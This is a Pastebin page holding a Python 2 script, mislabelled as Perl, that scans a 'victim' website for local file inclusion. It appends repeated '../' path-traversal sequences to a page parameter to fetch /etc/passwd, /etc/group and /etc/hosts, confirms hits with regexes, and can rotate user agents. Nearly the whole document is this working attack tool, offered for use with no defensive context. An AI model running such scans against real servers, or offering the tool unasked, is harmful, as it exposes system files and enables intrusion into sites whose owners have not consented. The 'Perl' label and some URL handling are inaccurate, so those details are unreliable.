Advertisement
rizky21id

[PERL]An0th3r LFI Scanner by Rizky21ID

Jun 25th, 2017
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.68 KB | None | 0 0
  1. #!/usr/bin/env  python26
  2.  
  3. import optparse
  4. import sys
  5. import urllib2, socket
  6. import random
  7. import re
  8.  
  9. #
  10. # Banner aLFI
  11. banner = """
  12.                  $$\      $$$$$$$$\ $$$$$$\\
  13.                  $$ |      $$  _____|\_$$  _|
  14.         $$$$$$\ $$ |      $$ |        $$ |
  15.         \____$$\ $$ |      $$$$$\     $$ |
  16.         $$$$$$$ |$$ |      $$  __|     $$ |
  17.        $$  __$$ |$$ |      $$ |        $$ |
  18.        \$$$$$$$ |$$$$$$$$\ $$ |      $$$$$$\\
  19.         \_______|\________|\__|      \______|
  20.  
  21.  
  22.  
  23.         $$$$$$\\
  24.        $$  __$$\\
  25.        $$ /  \__| $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$\  $$$$$$\  $$$$$$\\
  26.        \$$$$$$\ $$  _____|\____$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\\
  27.         \____$$\ $$ /      $$$$$$$ |$$ |  $$ |$$ |  $$ |$$$$$$$$ |$$ |  \__|
  28.        $$\  $$ |$$ |     $$  __$$ |$$ |  $$ |$$ |  $$ |$$   ____|$$ |
  29.        \$$$$$$  |\$$$$$$$\\$$$$$$$ |$$ |  $$ |$$ |  $$ |\$$$$$$$\ $$ |
  30.         \______/  \_______|\_______|\__|  \__|\__|  \__| \_______|\__|
  31.  
  32.                                                                 An0th3r LFI sC4Nn3r v1.0
  33.  
  34.                                Written by:
  35.  
  36.                              Mohammad Barokatu Rizky
  37.                           http://www.nonametrikblog.blogspot.com
  38.  
  39.                              
  40.                      https://www.facebook.com/Rizky21ID
  41.                      """
  42.  
  43.  
  44. commandList = optparse.OptionParser('usage: %prog -u URL -t TARGET_PAGE [-p PORT] [--timeout sec] [-r, --random-agent]\n')
  45. commandList.add_option('-u', '--url',
  46.                   action="store",
  47.                   dest="url",
  48.                   help="Insert URL: http[s]://www.victim.com",
  49.                   )
  50. commandList.add_option('-t', '--target',
  51.                   action="store",
  52.                   dest="target",
  53.                   help="Insert page: The name of the page to be scanned (Ex. index.php?page=)",
  54.                   )
  55. commandList.add_option('-p', '--port',
  56.                   action="store",
  57.                   dest="port",
  58.                   default=0,
  59.                   type="int",
  60.                   help="[Insert Port Number] - Default 80 or 443",
  61.                   )
  62. commandList.add_option('--timeout',
  63.                   action="store",
  64.                   dest="timeout",
  65.                   default=10,
  66.                   type="int",
  67.                   help="[Timeout Value] - Default 10",
  68.                   )
  69. commandList.add_option('-r', '--random-agent',
  70.                   action="store_true",
  71.                   dest="randomagent",
  72.                   default=False,
  73.                   help="[Set random UserAgent]",
  74.                   )
  75.  
  76.  
  77. options, remainder = commandList.parse_args()
  78.  
  79.  
  80. # Usage:
  81. if ( not options.url or not options.target):
  82.         print(banner)
  83.         print
  84.         commandList.print_help()
  85.         sys.exit(1)
  86. #
  87. # UserAgent list
  88. # Top UA 18/08/2014
  89. # http://techblog.willshouse.com/2012/01/03/most-common-user-agents/
  90. def randomAgentGen():
  91.  
  92.  userAgent =    ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  93.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  94.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
  95.                 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  96.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  97.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  98.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
  99.                 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  100.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  101.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
  102.                 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  103.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0',
  104.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  105.                 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  106.                 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  107.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  108.                 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  109.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  110.                 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  111.                 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  112.                 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  113.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  114.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  115.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  116.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
  117.                 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  118.                 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  119.                 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  120.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  121.                 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  122.                 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
  123.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4',
  124.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2',
  125.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/538.46 (KHTML, like Gecko) Version/8.0 Safari/538.46',
  126.                 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
  127.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  128.                 'Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  129.                 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  130.                 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  131.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
  132.                 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
  133.                 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  134.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
  135.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36',
  136.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
  137.                 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  138.                 'Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
  139.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  140.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  141.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  142.                 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
  143.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
  144.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
  145.                 'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  146.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
  147.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:31.0) Gecko/20100101 Firefox/31.0',
  148.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',
  149.                 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  150.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:31.0) Gecko/20100101 Firefox/31.0',
  151.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  152.                 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
  153.                 'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  154.                 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  155.                 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  156.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  157.                 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  158.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  159.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
  160.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  161.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:31.0) Gecko/20100101 Firefox/31.0',
  162.                 'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',
  163.                 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36',
  164.                 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  165.                 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  166.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  167.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
  168.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
  169.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
  170.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']
  171.  
  172.  if RANDOMAGENT:
  173.          UA = random.choice(userAgent)
  174.          headers = { 'User-Agent' : UA }
  175.  else:
  176.          UA = "Python-urllib/%s.%s" % sys.version_info[:2]
  177.          headers = { 'User-Agent' : UA }
  178.  
  179.  return headers
  180.  
  181. # File check list + regexp
  182. CHECK = dict()
  183. CHECK['etc/passwd'] = '^([a-z]*:[^:]*:[0-9]*:[0-9]*:[^:]*:/[^:]*:/[^:]*)$'
  184. CHECK['etc/group'] = '^([a-z]*:[^:]*:[0-9]*:[0-9]*)$'
  185. CHECK['etc/hosts'] = '^(((([1]?\d)?\d|2[0-4]\d|25[0-5])\.){3}(([1]?\d)?\d|2[0-4]\d|25[0-5]))|([\da-fA-F]{1,4}(\:[\da-fA-F]{1,4}){7})|(([\da-fA-F]{1,4}:){0,5}::([\da-fA-F]{1,4}:){0,5}[\da-fA-F]{1,4})'
  186.  
  187. RANDOMAGENT = options.randomagent
  188. TIMEOUT = options.timeout
  189. URL = options.url
  190. PORT = options.port
  191. TARGET = options.target
  192.  
  193. if URL[0:8] == "https://":
  194.         PROTO = URL[0:8]
  195.         URL = URL[8:]
  196.         if URL.endswith("/"):
  197.                 URL = URL.replace("/","")
  198.         if PORT == 0:
  199.                 PORT = 443
  200.  
  201. elif URL[0:7] == "http://":
  202.         PROTO = URL[0:7]
  203.         URL = URL[7:]
  204.         if URL.endswith("/"):
  205.                 URL = URL.replace("/","")
  206.         if PORT == 0:
  207.                 PORT = 80
  208. else:
  209.         PROTO = "http://"
  210.         URL = options.url
  211.         if URL.endswith("/"):
  212.                 URL = URL.replace("/","")
  213.         if PORT == 0:
  214.                 PORT = 80
  215.  
  216. try:
  217.         #URL = socket.gethostbyname( URL )
  218.         socket.gethostbyname( URL )
  219.  
  220. except socket.gaierror:
  221.         #could not resolve
  222.         print 'Hostname could not be resolved. Exiting'
  223.         sys.exit()
  224.  
  225. headers = randomAgentGen()
  226.  
  227. print(banner)
  228. print
  229. print('[*] URL:\t'+PROTO+URL)
  230. print('[*] TARGET:\t'+TARGET)
  231. print('[*] PORT:\t'+str(PORT))
  232. print
  233.  
  234. found = 0
  235.  
  236. for  fileCheck, fileRegexp in CHECK.items():
  237.         FILE = fileCheck
  238.         REGEXP = fileRegexp
  239.         checkValidRegexp = re.compile(REGEXP, re.IGNORECASE)
  240.  
  241.         for scanLFI in range(1, 11):
  242.  
  243.                 PATHTRAV = "../"
  244.  
  245.                 PATHTRAV = PATHTRAV * scanLFI
  246.  
  247.                 try:
  248.                         req = urllib2.Request(PROTO+URL+':'+str(PORT)+'/'+TARGET+PATHTRAV+FILE, None, headers)
  249.                         connection = urllib2.urlopen(req, None, TIMEOUT)
  250.                         response = connection.readlines()
  251.                         getcode = connection.getcode()
  252.  
  253.                         sentinel = 0
  254.                         for checkResponse in response:
  255.                                 #if (getcode == 200 and response != ""):
  256.                                 if (getcode == 200 and checkValidRegexp.match(checkResponse)):
  257.                                         sentinel = sentinel + 1
  258.  
  259.                         if sentinel > 1:
  260.                                 print('[+] '+PROTO+URL+':'+str(PORT)+'/'+TARGET+PATHTRAV+FILE+'\t <--- FOUND')
  261.                                 found = found + 1
  262.                         else:
  263.                                 print('[+] '+PROTO+URL+':'+str(PORT)+'/'+TARGET+PATHTRAV+FILE)
  264.  
  265.                 # HTTP error - 4xx, 5xx
  266.                 except urllib2.HTTPError:
  267.                         print('[+] '+PROTO+URL+':'+str(PORT)+'/'+TARGET+PATHTRAV+FILE)
  268.  
  269.                 # Connection error - Connection refused, No route to host
  270.                 except urllib2.URLError:
  271.                         print('Can\'t connect to host: '+PROTO+URL+' on port '+str(PORT))
  272.                         sys.exit()
  273.  
  274. if found < 1:
  275.         print
  276.         print('[+] Nothing found')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement